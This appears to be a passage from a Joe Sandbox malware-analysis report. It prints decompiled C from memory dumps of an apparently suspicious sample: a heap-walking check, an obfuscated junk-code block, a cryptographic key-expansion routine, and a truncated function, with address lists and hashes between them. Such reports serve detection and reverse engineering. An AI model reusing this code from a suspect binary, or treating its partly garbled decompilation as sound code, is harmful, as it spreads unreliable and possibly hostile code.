							}
						}
					}
				}
				return _t87;
			}

0x00e26dd4
0x00e26dde
0x00e26de1
0x00e26de3
0x00e26de6
0x00e26de9
0x00e26dec
0x00e26def
0x00e26df2
0x00e26df5
0x00e26dfe
0x00e26e04
0x00e26e09
0x00e26e0d
0x00e26e18
0x00e26e1b
0x00e26e22
0x00e26e2d
0x00e26e30
0x00e26e36
0x00e26e42
0x00e26e4d
0x00e26e50
0x00e26e55
0x00e26e5c
0x00e26e6e
0x00e26e5e
0x00e26e67
0x00e26e67
0x00e26e73
0x00e26e74
0x00e26e77
0x00e26e7c
0x00e26e7d
0x00e26e8e
0x00e26e93
0x00e26e9c
0x00e26ea8
0x00e26eab
0x00e26eac
0x00e26eb3
0x00e26ecd
0x00e26edc
0x00e26ee2
0x00e26ee5
0x00e26ef2
0x00e26efb
0x00e26f01
0x00e26f06
0x00e26f0b
0x00e26f11
0x00e26f1a
0x00e26f22
0x00e26f26
0x00e26f26
0x00e26f33
0x00e26f41
0x00e26f44
0x00e26f47
0x00e26f54
0x00e26f65
0x00e26f77
0x00e26f7c
0x00e26f82
0x00e26f91
0x00e26f99
0x00e26fa3
0x00e26fae
0x00e26fae
0x00e26fba
0x00e26fbb
0x00e26fbc
0x00e26fc1
0x00e26fc2
0x00e26fd3
0x00e26fd8
0x00e26fd8
0x00e26fdf
0x00e26fe8
0x00e26fee
0x00e26fee
0x00e26ff5
0x00e26ffb
0x00e26ffb
0x00e27004
0x00000000
0x00e2700a
0x00e27004
0x00e26eb3
0x00e26e9c
0x00e27015

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
Instruction ID: e4950b65c92287991e61e90bb8433646964e6c19acf129904d5686250d03cb5c
Opcode Fuzzy Hash: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
Instruction Fuzzy Hash: 96716A71A00219EFCB11DFA9D984EEEBBF9FF48714F104169E505E7291DB34AA41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00E61002 Relevance: .2, Instructions: 198
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00E61002(intOrPtr __ecx, void* __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed int _v20;
				signed int _t75;
				intOrPtr* _t76;
				signed int _t77;
				signed short _t78;
				signed short _t80;
				signed int _t81;
				signed short _t82;
				signed short _t83;
				signed short _t85;
				signed int _t86;
				void* _t90;
				signed short _t91;
				signed int _t95;
				signed short _t97;
				signed short _t99;
				intOrPtr* _t101;
				signed short _t102;
				signed int _t103;
				signed short _t105;
				intOrPtr _t106;
				signed int* _t108;
				signed short _t109;
				signed short _t111;
				signed short _t112;
				signed int _t113;
				signed short _t117;
				signed int _t120;
				void* _t121;
				signed int _t122;
				signed int _t126;
				signed int* _t127;
				signed short _t128;
				intOrPtr _t129;
				intOrPtr _t130;
				signed int _t132;
				signed int _t133;

				_t121 = __edx;
				_t130 = __ecx;
				_v16 = __ecx;
				_t108 = __ecx + 0xa4;
				_t75 =  *_t108;
				L4:
				L4:
				if(_t75 != _t108) {
					goto L1;
				} else {
					_t127 = _t130 + 0x9c;
					_t120 =  *_t127;
				}
				while(_t120 != _t127) {
					_t132 = _t120 & 0xffff0000;
					__eflags = _t132 - _t121;
					if(_t132 <= _t121) {
						_t75 =  *((intOrPtr*)(_t120 + 0x14)) + _t132;
						__eflags = _t75 - _t121;
						if(_t75 > _t121) {
							 *0xe95898 = 5;
						}
					}
					_t120 =  *_t120;
				}
				L68:
				return _t75;
				L1:
				_t3 = _t75 - 0x10; // -16
				_t126 = _t3;
				_v20 = _t126;
				__eflags =  *((intOrPtr*)(_t126 + 0x1c)) - _t121;
				if( *((intOrPtr*)(_t126 + 0x1c)) > _t121) {
					L3:
					_t75 =  *_t75;
					goto L4;
				}
				__eflags =  *((intOrPtr*)(_t126 + 0x28)) - _t121;
				if( *((intOrPtr*)(_t126 + 0x28)) > _t121) {
					_t8 = _t126 + 0x38; // 0x28
					_t101 = _t8;
					_t109 = 0;
					_v8 = _v8 & 0;
					_t76 =  *_t101;
					_v12 = _t101;
					__eflags = _t76 - _t101;
					if(_t76 == _t101) {
						L17:
						_t102 = 0;
						_v20 = 0;
						__eflags = _t109;
						if(_t109 == 0) {
							_t109 = _t126;
						}
						_t128 = 0;
						__eflags = _t109 - _t121;
						if(_t109 >= _t121) {
							L29:
							_t111 = _v8 + 0xfffffff8;
							__eflags = _t111 - _t121;
							if(_t111 <= _t121) {
								L33:
								 *0xe958b0 = _t128;
								 *0xe958b4 = _t102;
								__eflags = _t128;
								if(_t128 == 0) {
									L42:
									__eflags =  *(_t130 + 0x4c);
									if( *(_t130 + 0x4c) == 0) {
										_t77 =  *_t128 & 0x0000ffff;
										_t112 = 0;
										__eflags = 0;
									} else {
										_t85 =  *_t128;
										_t112 =  *(_t130 + 0x4c);
										__eflags = _t85 & _t112;
										if((_t85 & _t112) != 0) {
											_t85 = _t85 ^  *(_t130 + 0x50);
											__eflags = _t85;
										}
										_t77 = _t85 & 0x0000ffff;
									}
									_v8 = _t77;
									__eflags = _t102;
									if(_t102 != 0) {
										_t117 =  *(_t102 + 4) & 0x0000ffff ^  *(_t130 + 0x54) & 0x0000ffff;
										__eflags = _t117;
										 *0xe958b8 = _t117;
										_t112 =  *(_t130 + 0x4c);
									}
									__eflags = _t112;
									if(_t112 == 0) {
										_t78 =  *_t128 & 0x0000ffff;
									} else {
										_t83 =  *_t128;
										__eflags =  *(_t130 + 0x4c) & _t83;
										if(( *(_t130 + 0x4c) & _t83) != 0) {
											_t83 = _t83 ^  *(_t130 + 0x50);
											__eflags = _t83;
										}
										_t78 = _t83 & 0x0000ffff;
									}
									_t122 = _t78 & 0x0000ffff;
									 *0xe958bc = _t122;
									__eflags =  *(_t130 + 0x4c);
									_t113 = _v8 & 0x0000ffff;
									if( *(_t130 + 0x4c) == 0) {
										_t80 =  *(_t128 + _t113 * 8) & 0x0000ffff;
									} else {
										_t82 =  *(_t128 + _t113 * 8);
										__eflags =  *(_t130 + 0x4c) & _t82;
										if(( *(_t130 + 0x4c) & _t82) != 0) {
											_t82 = _t82 ^  *(_t130 + 0x50);
											__eflags = _t82;
										}
										_t122 =  *0xe958bc; // 0x0
										_t80 = _t82 & 0x0000ffff;
									}
									_t81 = _t80 & 0x0000ffff;
									__eflags =  *0xe958b8 - _t81; // 0x0
									if(__eflags == 0) {
										_t75 =  *(_t130 + 0x54) & 0x0000ffff;
										__eflags = _t122 - ( *(_t128 + 4 + _t113 * 8) & 0x0000ffff ^ _t75);
										if(_t122 == ( *(_t128 + 4 + _t113 * 8) & 0x0000ffff ^ _t75)) {
											goto L68;
										}
										 *0xe95898 = 7;
										return _t75;
									} else {
										 *0xe95898 = 6;
										return _t81;
									}
								}
								__eflags = _t102;
								if(_t102 == 0) {
									goto L42;
								}
								__eflags =  *(_t130 + 0x4c);
								if( *(_t130 + 0x4c) == 0) {
									_t86 =  *_t128 & 0x0000ffff;
								} else {
									_t91 =  *_t128;
									__eflags =  *(_t130 + 0x4c) & _t91;
									if(( *(_t130 + 0x4c) & _t91) != 0) {
										_t91 = _t91 ^  *(_t130 + 0x50);
										__eflags = _t91;
									}
									_t86 = _t91 & 0x0000ffff;
								}
								_v8 = _t86;
								_t90 = _t128 + (_v8 & 0x0000ffff) * 8;
								__eflags = _t90 - _t102 - (( *(_t102 + 4) & 0x0000ffff ^  *(_t130 + 0x54) & 0x0000ffff) << 3);
								if(_t90 == _t102 - (( *(_t102 + 4) & 0x0000ffff ^  *(_t130 + 0x54) & 0x0000ffff) << 3)) {
									goto L42;
								} else {
									 *0xe95898 = 4;
									return _t90;
								}
							}
							_v20 =  *(_t130 + 0x54) & 0x0000ffff;
							while(1) {
								_t102 = _t111;
								_t95 = ( *(_t111 + 4) ^ _v20) & 0x0000ffff;
								__eflags = _t95;
								if(_t95 == 0) {
									goto L33;
								}
								_t111 = _t111 + _t95 * 0xfffffff8;
								__eflags = _t111 - _t121;
								if(_t111 > _t121) {
									continue;
								}
								goto L33;
							}
							goto L33;
						} else {
							_t103 =  *(_t130 + 0x4c);
							while(1) {
								_t128 = _t109;
								__eflags = _t103;
								if(_t103 == 0) {
									_t97 =  *_t109 & 0x0000ffff;
								} else {
									_t99 =  *_t109;
									_t103 =  *(_t130 + 0x4c);
									__eflags = _t99 & _t103;
									if((_t99 & _t103) != 0) {
										_t99 = _t99 ^  *(_t130 + 0x50);
										__eflags = _t99;
									}
									_t97 = _t99 & 0x0000ffff;
								}
								__eflags = _t97;
								if(_t97 == 0) {
									break;
								}
								_t109 = _t109 + (_t97 & 0x0000ffff) * 8;
								__eflags = _t109 - _t121;
								if(_t109 < _t121) {
									continue;
								}
								break;
							}
							_t102 = _v20;
							goto L29;
						}
					}
					_t133 = _v8;
					do {
						_t105 =  *((intOrPtr*)(_t76 + 0xc)) +  *((intOrPtr*)(_t76 + 8));
						_t129 = _v12;
						__eflags = _t105 - _t121;
						if(_t105 < _t121) {
							__eflags = _t105 - _t109;
							if(_t105 > _t109) {
								_t109 = _t105;
							}
						}
						_t106 =  *((intOrPtr*)(_t76 + 8));
						__eflags = _t106 - _t121;
						if(_t106 > _t121) {
							__eflags = _t133;
							if(_t133 == 0) {
								L14:
								_t18 = _t76 - 8; // -8
								_t133 = _t18;
								goto L15;
							}
							__eflags = _t106 -  *((intOrPtr*)(_t133 + 0x10));
							if(_t106 >=  *((intOrPtr*)(_t133 + 0x10))) {
								goto L15;
							}
							goto L14;
						}
						L15:
						_t76 =  *_t76;
						__eflags = _t76 - _t129;
					} while (_t76 != _t129);
					_t126 = _v20;
					_v8 = _t133;
					_t130 = _v16;
					goto L17;
				}
				goto L3;
			}

0x00e61002
0x00e6100c
0x00e6100f
0x00e61012
0x00e61018
0x00000000
0x00e6102e
0x00e61030
0x00000000
0x00e61032
0x00e61032
0x00e61038
0x00e61038
0x00e6121e
0x00e611ff
0x00e61205
0x00e61207
0x00e6120c
0x00e6120e
0x00e61210
0x00e61212
0x00e61212
0x00e61210
0x00e6121c
0x00e6121c
0x00e61228
0x00e61228
0x00e6101c
0x00e6101c
0x00e6101c
0x00e6101f
0x00e61022
0x00e61025
0x00e6102c
0x00e6102c
0x00000000
0x00e6102c
0x00e61027
0x00e6102a
0x00e6103f
0x00e6103f
0x00e61042
0x00e61044
0x00e61047
0x00e61049
0x00e6104c
0x00e6104e
0x00e61088
0x00e61088
0x00e6108a
0x00e6108d
0x00e6108f
0x00e61091
0x00e61091
0x00e61093
0x00e61095
0x00e61097
0x00e610c8
0x00e610cb
0x00e610ce
0x00e610d0
0x00e610f4
0x00e610f4
0x00e610fa
0x00e61100
0x00e61102
0x00e61150
0x00e61150
0x00e61154
0x00e61167
0x00e6116a
0x00e6116a
0x00e61156
0x00e61156
0x00e61158
0x00e6115b
0x00e6115d
0x00e6115f
0x00e6115f
0x00e6115f
0x00e61162
0x00e61162
0x00e6116c
0x00e6116f
0x00e61171
0x00e6117b
0x00e6117b
0x00e6117d
0x00e61183
0x00e61183
0x00e61186
0x00e61188
0x00e61199
0x00e6118a
0x00e6118a
0x00e6118c
0x00e6118f
0x00e61191
0x00e61191
0x00e61191
0x00e61194
0x00e61194
0x00e6119c
0x00e611a2
0x00e611a8
0x00e611ac
0x00e611af
0x00e611c7
0x00e611b1
0x00e611b1
0x00e611b4
0x00e611b7
0x00e611b9
0x00e611b9
0x00e611b9
0x00e611bc
0x00e611c2
0x00e611c2
0x00e611cb
0x00e611ce
0x00e611d4
0x00e611e7
0x00e611ed
0x00e611ef
0x00000000
0x00000000
0x00e611f1
0x00000000
0x00e611d6
0x00e611d6
0x00000000
0x00e611d6
0x00e611d4
0x00e61104
0x00e61106
0x00000000
0x00000000
0x00e61108
0x00e6110c
0x00e6111d
0x00e6110e
0x00e6110e
0x00e61110
0x00e61113
0x00e61115
0x00e61115
0x00e61115
0x00e61118
0x00e61118
0x00e61126
0x00e6113a
0x00e6113d
0x00e6113f
0x00000000
0x00e61141
0x00e61141
0x00000000
0x00e61141
0x00e6113f
0x00e610d6
0x00e610d9
0x00e610dd
0x00e610e3
0x00e610e6
0x00e610e9
0x00000000
0x00000000
0x00e610ee
0x00e610f0
0x00e610f2
0x00000000
0x00000000
0x00000000
0x00e610f2
0x00000000
0x00e61099
0x00e61099
0x00e6109c
0x00e6109c
0x00e6109e
0x00e610a0
0x00e610b3
0x00e610a2
0x00e610a2
0x00e610a4
0x00e610a7
0x00e610a9
0x00e610ab
0x00e610ab
0x00e610ab
0x00e610ae
0x00e610ae
0x00e610b6
0x00e610b9
0x00000000
0x00000000
0x00e610be
0x00e610c1
0x00e610c3
0x00000000
0x00000000
0x00000000
0x00e610c3
0x00e610c5
0x00000000
0x00e610c5
0x00e61097
0x00e61050
0x00e61053
0x00e61056
0x00e61059
0x00e6105c
0x00e6105e
0x00e61060
0x00e61062
0x00e61064
0x00e61064
0x00e61062
0x00e61066
0x00e61069
0x00e6106b
0x00e6106d
0x00e6106f
0x00e61076
0x00e61076
0x00e61076
0x00000000
0x00e61076
0x00e61071
0x00e61074
0x00000000
0x00000000
0x00000000
0x00e61074
0x00e61079
0x00e61079
0x00e6107b
0x00e6107b
0x00e6107f
0x00e61082
0x00e61085
0x00000000
0x00e61085
0x00000000

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab60fe247e2cdc6e9f2a0e3b97bb085d7a50bb3a22666aa134893d1865aba7d9
Instruction ID: 578744dda2e6389b93685c0a615507aa708ba4a43e2533e0a3ab6bbbd1049e3e
Opcode Fuzzy Hash: ab60fe247e2cdc6e9f2a0e3b97bb085d7a50bb3a22666aa134893d1865aba7d9
Instruction Fuzzy Hash: 0D71B134641761CFCB66CF56E49027AB3F1FB44388B2858AED982A7240D771ED94DB50

Uniqueness

Uniqueness Score: -1.00%

Function 0002EA25 Relevance: .2, Instructions: 175
COMMONCrypto

Download Yara Rule

C-Code - Quality: 49%

			E0002EA25(signed int __eax, void* __ebx, signed int __ecx, signed int __edx, void* __edi) {
				signed char _t32;
				signed int _t33;
				void* _t36;
				signed int _t38;
				signed int _t42;
				signed char _t43;
				signed char _t49;
				intOrPtr _t62;
				void* _t63;
				void* _t64;
				signed int _t73;

				_t32 = __eax;
				 *0x16efa8e0 =  *0x16efa8e0 | __eax;
				_t49 = __edx &  *0xb4a0470c;
				asm("rol byte [0xc2ccecc9], 0x44");
				asm("sbb edi, 0x16d24939");
				 *0x32c1ddbd =  *0x32c1ddbd - _t64;
				_t62 =  *0xefa8e0cc;
				_t42 = __ecx |  *0x93b70016;
				_t38 = __ebx - 1;
				if(_t38 < 0) {
					L1:
					_t73 =  *0x939ff7b7 & _t49;
					_t32 = _t32 | 0x000000b0;
					asm("rcr byte [0x748f83e7], 0xb9");
					_t63 = _t63 - 1;
					 *0xe217dc62 =  *0xe217dc62 >> 0xfe;
					asm("adc edx, [0xc4bbc419]");
					_t43 = _t42 + 0xe5;
					asm("adc [0x4e759084], ah");
					if(_t73 == 0) {
						goto L3;
					}
					goto L5;
				} else {
					_t26 = __eax;
					__eax =  *0xaf88ac70;
					 *0xaf88ac70 = _t26;
					asm("adc [0x16d24939], eax");
					__ch = __ch -  *0x54942410;
					asm("rcl byte [0xaddd0fb4], 0xe9");
					asm("sbb [0xef45d88d], ebp");
					if(__ch > 0) {
						goto L1;
					} else {
						__ebp = __ebp & 0x45d8a8c4;
						 *0x9e3f16ef =  *0x9e3f16ef | __esi;
						__eax = __eax +  *0xf9e2bc0;
						asm("adc esp, [0x40ecb2a1]");
						asm("sbb ah, 0x88");
						asm("adc dl, 0x63");
						asm("ror byte [0xc4a80082], 0x28");
						__bh = __bh ^  *0xef45d8a8;
						__ebp =  *0xa10f9e2b;
						__ah = __ah |  *0x8840ecb2;
						asm("sbb ebp, [0xe24b16ef]");
						__ebp =  *0xf0cc319f;
						_t31 = __ecx;
						__ecx =  *0x33941616;
						 *0x33941616 = _t31;
						__ecx =  *0x33941616 &  *0xc1dec32e;
						 *0xa8e0cc32 =  *0xa8e0cc32 >> 0x1e;
						asm("rcl dword [0xe26216ef], 0xa9");
						__ebp =  *0xf0cc319f + 1;
						if(__edx <  *0xd6b616ef) {
							goto L1;
							do {
								do {
									do {
										goto L1;
										L3:
										_t42 = _t43 + 0x63;
										_t62 = _t62 - 0xb00218dd;
										asm("scasb");
									} while (_t62 >= 0);
									 *0xe77cd173 =  *0xe77cd173 >> 0x30;
									asm("lodsb");
									_t62 = _t62 -  *0x2f9d1616;
									 *0xa8e0cc32 =  *0xa8e0cc32 >> 0x24;
									_t49 = 0xc02c16ef;
									asm("adc esi, [0xefca2585]");
									 *0xe0cc32b2 =  *0xe0cc32b2 << 0x1d;
									 *0xa616efa8 =  *0xa616efa8 - _t32;
									 *0xa91945c6 =  *0xa91945c6 << 0x42;
									_t32 = 0xcc32c1da;
									L5:
									asm("fcmovb st0, st1");
									_t42 = _t43 ^ _t32;
									_t49 = _t49 + 0x188;
									asm("rcl dword [0xc83916ef], 0x63");
								} while (_t49 != 0);
								_t63 = _t63 + 1;
								asm("adc [0xc68ff209], ecx");
								 *0x3816efa8 =  *0x3816efa8 - _t49;
								asm("sbb edx, [0x173a7bc8]");
								_push(_t49);
								_t33 = _t32 + 1;
								_push(_t33);
								asm("rcr dword [0xef45d88d], 0xd6");
								_push(_t33 |  *0x81d04116);
								asm("rcl byte [0x4052173a], 0xe8");
								_push( *0x81c42916);
								 *0x9cba1d16 = 0xef45d88d;
								_pop(_t36);
								asm("sbb ebx, 0x8daddd0f");
								asm("scasb");
								 *0x311087db =  *0x311087db << 0x30;
								_push(_t63);
								asm("adc ah, 0xe7");
								asm("rcr dword [0x453d99a1], 0x54");
								asm("adc ecx, [0x32ee16ef]");
								asm("adc edx, [0x1db40ffd]");
								 *0x2b16efa8 =  *0x2b16efa8 >> 0x83;
								asm("sbb ecx, 0xbe0b1c6d");
								 *0x16efa8e0 =  *0x16efa8e0 | _t49 - 0x000000b4;
								 *0x17ff2f8a =  *0x17ff2f8a >> 0xc5;
								asm("ror dword [0xefa8e0cc], 0x9a");
								 *0x7093ff16 = 0x997775;
								asm("adc [0xa8e0cc32], al");
								 *0x34f216ef =  *0x34f216ef + (_t38 |  *0xe0cc32c1);
								_t32 = _t36 +  *0xe0cc32b9;
								asm("sbb bh, [0x2116efa8]");
								asm("stosb");
								asm("sbb dh, 0xe2");
								asm("sbb [0xb36b616], eax");
								asm("scasb");
								_t49 = 0xe0;
								asm("adc edx, [0xefa8e0cc]");
								 *0xa8e0cc32 =  *0xa8e0cc32 >> 0x9e;
								asm("sbb [0xf9af869a], edi");
								asm("adc [0x420816d2], dl");
								_t42 = ((_t42 ^  *0xef45d88d) - 0x00000001 &  *0xf2ba16ef) - 1 +  *0xf2c1ab9c;
								 *0x416efa8 =  *0x416efa8 << 0x8f;
								asm("rcr dword [0xbda7983e], 0xa");
								asm("rol dword [0x16d24939], 0x83");
								 *0x71c621c =  *0x71c621c << 0xcb;
								asm("movsb");
								asm("adc ah, 0xa8");
								_push( *0x16ef45d8);
								_t38 =  *0xc4a8009a ^  *0x9ba0f4be;
								asm("rcl byte [0xa899d1b4], 0xe3");
							} while (_t62 !=  *0x16d24939);
							return _t32;
						} else {
							__ebp = __ebp ^ 0x52173a78;
							__eax = __eax + 1;
							_push(__eax);
							 *0xef45d88d =  *0xef45d88d >> 0x17;
							__al = __al | 0x00000016;
							return __eax;
						}
					}
				}
			}

0x0002ea25
0x0002ea2b
0x0002ea31
0x0002ea37
0x0002ea3f
0x0002ea4b
0x0002ea51
0x0002ea57
0x0002ea5d
0x0002ea5e
0x0002e7c6
0x0002e7c6
0x0002e7cc
0x0002e7ce
0x0002e7d5
0x0002e7d6
0x0002e7dd
0x0002e7e3
0x0002e7e6
0x0002e7ea
0x00000000
0x00000000
0x00000000
0x0002ea64
0x0002ea64
0x0002ea64
0x0002ea64
0x0002ea6b
0x0002ea71
0x0002ea77
0x0002ea7e
0x0002ea8a
0x00000000
0x0002ea90
0x0002ea96
0x0002ea9c
0x0002eaa2
0x0002eaa8
0x0002eaae
0x0002eab9
0x0002eabc
0x0002eac3
0x0002eacf
0x0002ead5
0x0002eadb
0x0002eae1
0x0002eaf0
0x0002eaf0
0x0002eaf0
0x0002eaf6
0x0002eafc
0x0002eb03
0x0002eb15
0x0002eb1c
0x00000000
0x0002e7c6
0x0002e7c6
0x0002e7c6
0x00000000
0x0002e7ec
0x0002e7ec
0x0002e7ef
0x0002e7f5
0x0002e7f5
0x0002e7f8
0x0002e7ff
0x0002e806
0x0002e812
0x0002e819
0x0002e81e
0x0002e824
0x0002e82b
0x0002e831
0x0002e838
0x0002e83a
0x0002e83a
0x0002e83c
0x0002e841
0x0002e844
0x0002e844
0x0002e85c
0x0002e863
0x0002e86f
0x0002e875
0x0002e87b
0x0002e87c
0x0002e87d
0x0002e87e
0x0002e891
0x0002e89d
0x0002e8a4
0x0002e8aa
0x0002e8b0
0x0002e8b4
0x0002e8c0
0x0002e8c1
0x0002e8c8
0x0002e8c9
0x0002e8cc
0x0002e8d3
0x0002e8d9
0x0002e8e4
0x0002e8eb
0x0002e8f7
0x0002e8fd
0x0002e90a
0x0002e911
0x0002e91d
0x0002e923
0x0002e92f
0x0002e935
0x0002e953
0x0002e954
0x0002e960
0x0002e97e
0x0002e97f
0x0002e982
0x0002e994
0x0002e9a1
0x0002e9ae
0x0002e9b4
0x0002e9c0
0x0002e9c7
0x0002e9d4
0x0002e9db
0x0002e9e2
0x0002e9fb
0x0002e9fe
0x0002ea04
0x0002ea0a
0x0002ea12
0x0002ea24
0x0002eb22
0x0002eb22
0x0002eb28
0x0002eb29
0x0002eb2a
0x0002eb31
0x0002eb33
0x0002eb33
0x0002eb1c
0x0002ea8a

Memory Dump Source

Source File: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Offset: 00010000, based on PE: true

Associated: 00000003.00000002.577235632.0000000000010000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577294058.000000000002F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577307299.0000000000030000.00000020.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000_bin.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70d7859732b435a6924bca2d8428b460a88f8c88fbe5a7c2e00baba29b374f71
Instruction ID: d5d5a4165fead353e897b0012ce0069a0c984e49c5bc001810b92286ce5896bd
Opcode Fuzzy Hash: 70d7859732b435a6924bca2d8428b460a88f8c88fbe5a7c2e00baba29b374f71
Instruction Fuzzy Hash: 9881123594D3C1DFE715DB78E8DAA453FB2E786720B08038EC9A1572D2C771206ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 00012D90 Relevance: .2, Instructions: 165
COMMONCrypto

Download Yara Rule

C-Code - Quality: 67%

			E00012D90(intOrPtr _a4, signed int* _a8, signed int* _a12, intOrPtr _a16) {
				signed int _t66;
				signed int* _t69;
				signed int* _t81;
				signed int _t94;
				signed int _t96;
				signed int _t106;
				signed int _t108;
				signed int* _t110;
				signed int _t127;
				signed int _t129;
				signed int _t133;
				signed int _t152;
				intOrPtr _t171;

				_t81 = _a12;
				_t110 = _a8;
				asm("ror esi, 0x8");
				asm("rol eax, 0x8");
				 *_t110 =  *_t81 & 0xff00ff00 |  *_t81 & 0x00ff00ff;
				asm("ror edi, 0x8");
				asm("rol esi, 0x8");
				_t110[1] = _t81[1] & 0xff00ff00 | _t81[1] & 0x00ff00ff;
				asm("ror edi, 0x8");
				asm("rol esi, 0x8");
				_t110[2] = _t81[2] & 0xff00ff00 | _t81[2] & 0x00ff00ff;
				_t66 =  &(_t110[1]);
				asm("ror edi, 0x8");
				asm("rol esi, 0x8");
				_t110[3] = _t81[3] & 0xff00ff00 | _t81[3] & 0x00ff00ff;
				asm("ror edi, 0x8");
				asm("rol esi, 0x8");
				_t110[4] = _t81[4] & 0xff00ff00 | _t81[4] & 0x00ff00ff;
				asm("ror edi, 0x8");
				asm("rol esi, 0x8");
				_t110[5] = _t81[5] & 0xff00ff00 | _t81[5] & 0x00ff00ff;
				asm("ror edi, 0x8");
				asm("rol esi, 0x8");
				_t110[6] = _t81[6] & 0xff00ff00 | _t81[6] & 0x00ff00ff;
				asm("ror esi, 0x8");
				asm("rol ecx, 0x8");
				_t110[7] = _t81[7] & 0xff00ff00 | _t81[7] & 0x00ff00ff;
				if(_a16 != 0x100) {
					L4:
					return _t66 | 0xffffffff;
				} else {
					_t171 = _a4;
					_t69 = 0;
					_a12 = 0;
					while(1) {
						_t152 =  *(_t66 + 0x18);
						_t94 = ( *(_t171 + 4 + (_t152 >> 0x00000010 & 0x000000ff) * 4) & 0xffff0000 ^ ( *(_t171 +  &(_t69[0x241])) & 0x000000ff) << 0x00000010) << 0x00000008 ^  *(_t171 + 4 + (_t152 >> 0x00000008 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t171 + 5 + (_t152 >> 0x00000018 & 0x000000ff) * 4) & 0x000000ff ^  *(_t171 + 4 + (_t152 & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t66 - 4);
						_t127 =  *_t66 ^ _t94;
						 *(_t66 + 0x1c) = _t94;
						_t96 =  *(_t66 + 4) ^ _t127;
						 *(_t66 + 0x20) = _t127;
						_t129 =  *(_t66 + 8) ^ _t96;
						 *(_t66 + 0x24) = _t96;
						 *(_t66 + 0x28) = _t129;
						if(_t69 == 6) {
							break;
						}
						_t106 = ( *(_t171 + 4 + (_t129 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t171 + 4 + (_t129 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t171 + 4 + (_t129 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t171 + 5 + (_t129 & 0x000000ff) * 4) & 0x000000ff ^  *(_t66 + 0xc);
						_t133 =  *(_t66 + 0x10) ^ _t106;
						 *(_t66 + 0x2c) = _t106;
						_t108 =  *(_t66 + 0x14) ^ _t133;
						 *(_t66 + 0x34) = _t108;
						_t69 =  &(_a12[0]);
						 *(_t66 + 0x30) = _t133;
						 *(_t66 + 0x38) = _t108 ^ _t152;
						_t66 = _t66 + 0x20;
						_a12 = _t69;
						if(_t69 < 7) {
							continue;
						} else {
							goto L4;
						}
						goto L6;
					}
					return 0xe;
				}
				L6:
			}

0x00012d93
0x00012d98
0x00012da0
0x00012da9
0x00012db3
0x00012dba
0x00012dc3
0x00012dce
0x00012dd6
0x00012ddf
0x00012dea
0x00012df0
0x00012df5
0x00012dfe
0x00012e09
0x00012e11
0x00012e1a
0x00012e25
0x00012e2d
0x00012e36
0x00012e41
0x00012e49
0x00012e52
0x00012e5d
0x00012e65
0x00012e6e
0x00012e80
0x00012e83
0x00012f9f
0x00012fa4
0x00012e89
0x00012e89
0x00012e8c
0x00012e8e
0x00012e91
0x00012e91
0x00012ef6
0x00012efb
0x00012efd
0x00012f03
0x00012f05
0x00012f0b
0x00012f0d
0x00012f10
0x00012f16
0x00000000
0x00000000
0x00012f72
0x00012f78
0x00012f7a
0x00012f80
0x00012f82
0x00012f87
0x00012f88
0x00012f8b
0x00012f8e
0x00012f91
0x00012f97
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00012f97
0x00012fae
0x00012fae
0x00000000

Memory Dump Source

Source File: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Offset: 00010000, based on PE: true

Associated: 00000003.00000002.577235632.0000000000010000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577294058.000000000002F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577307299.0000000000030000.00000020.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000_bin.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baad548f5feed02f012b2fc10accbe050e72558d66b692510d210734a80849a9
Instruction ID: 477f168773838ae0ded81131667d4b47db234e131a51c0512cc88ec1e8aade63
Opcode Fuzzy Hash: baad548f5feed02f012b2fc10accbe050e72558d66b692510d210734a80849a9
Instruction Fuzzy Hash: EB5181B3E14A214BD3188E09CC40671B792FFC8312B5F81BEDD199B357CE74E9529A90

Uniqueness

Uniqueness Score: -1.00%

Function 00DA52A5 Relevance: .2, Instructions: 161
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00DA52A5(char __ecx) {
				char _v20;
				char _v28;
				char _v29;
				void* _v32;
				void* _v36;
				void* _v37;
				void* _v38;
				void* _v40;
				void* _v46;
				void* _v64;
				void* __ebx;
				intOrPtr* _t49;
				signed int _t53;
				short _t85;
				signed int _t87;
				signed int _t88;
				signed int _t89;
				intOrPtr _t101;
				intOrPtr* _t102;
				intOrPtr* _t104;
				signed int _t106;
				void* _t108;

				_t93 = __ecx;
				_t108 = (_t106 & 0xfffffff8) - 0x1c;
				_push(_t88);
				_v29 = __ecx;
				_t89 = _t88 | 0xffffffff;
				while(1) {
					L00DBEEF0(0xe979a0);
